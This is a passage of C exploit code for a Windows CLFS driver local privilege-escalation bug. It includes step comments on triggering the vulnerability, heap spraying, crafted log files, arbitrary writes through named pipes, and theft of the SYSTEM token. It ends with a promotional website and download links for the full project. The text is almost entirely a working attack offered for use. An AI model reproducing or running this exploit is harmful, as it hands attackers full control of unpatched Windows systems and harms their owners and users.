AddLogContainer(v51, (PULONGLONG)&pcbContainer, pwszContainerPath, 0i64); // Crash !
// printf("LOG:C:\\Users\\Public\\MyLog AddLogContainer OK2\n");
char v33[16] = { 0 };
char v28[4] = {};
v28[0] = 1;
// printf("NtSetInformationFile address --> 0x%llx\n", _NtSetInformationFile);
// printf("Calling NtSetInformationFile\n");
/* 8. Call NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1, (FILE_INFORMATION_CLASS)13),
where the last parameter is the type of FileInformationClass. When the value is FileDispositionInformation (13),
the function will delete the file when it is closed or will cancel a previously requested deletion. */
typedef NTSTATUS func(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
func* _NtSetInformationFile = (func*)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationFile");
NTSTATUS setresult = _NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1i64, (FILE_INFORMATION_CLASS)13);
// printf("SetInformationFile: 0x%x\n", GetLastError());
/* 9. Call the CloseHandle API to close the handle of the base log file MyLxg_xxx.blf, to trigger this vulnerability. */
CloseHandle(v55);
CloseHandle(v51);
VOID* dest = malloc(0x100);
memset(dest, 0x42, 0xff);
void * v9b = _malloc_base(0x2000);
int v29 = 90;
_NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x110038, &v29, 2, v9b, 0x2000);
PUINT64 v27= ( PUINT64)((char*)v9b + v14 + 0x4b8);
if (v27 == 0) { exit(1); };
System_token_value=*v27;
next_token=v27[1];
printf("SYSTEM TOKEN VALUE= %p\n", System_token_value);
if (System_token_value == 0x4141414141414141) {
printf("Failed attempt try again..\n");
exit(1234);
}
//getchar();
}
flag++;
//getchar();
return 0;
}
int main(int argc, TCHAR* argv[])
{
getOSversion();
InitEnvironment();
checkAccessToken();
createInitialLogFile();
GetOffsetBetweenPools();
craftFile();
crcCalculatorAndFix();
doHeapSpray();
pipeArbitraryWriteValues();
pipeArbitraryWrite();
pipeArbitraryWrite();
printf("website:www.chwm.vip\n");
WinExec("cmd /c notepad", 1);
getchar();
return 0;
}
完整项目下载
【下载地址】https://wwrd.lanzoum.com/i9wa4166r9bg 【下载地址】
https://download.youkuaiyun.com/download/qq_39190622/88245653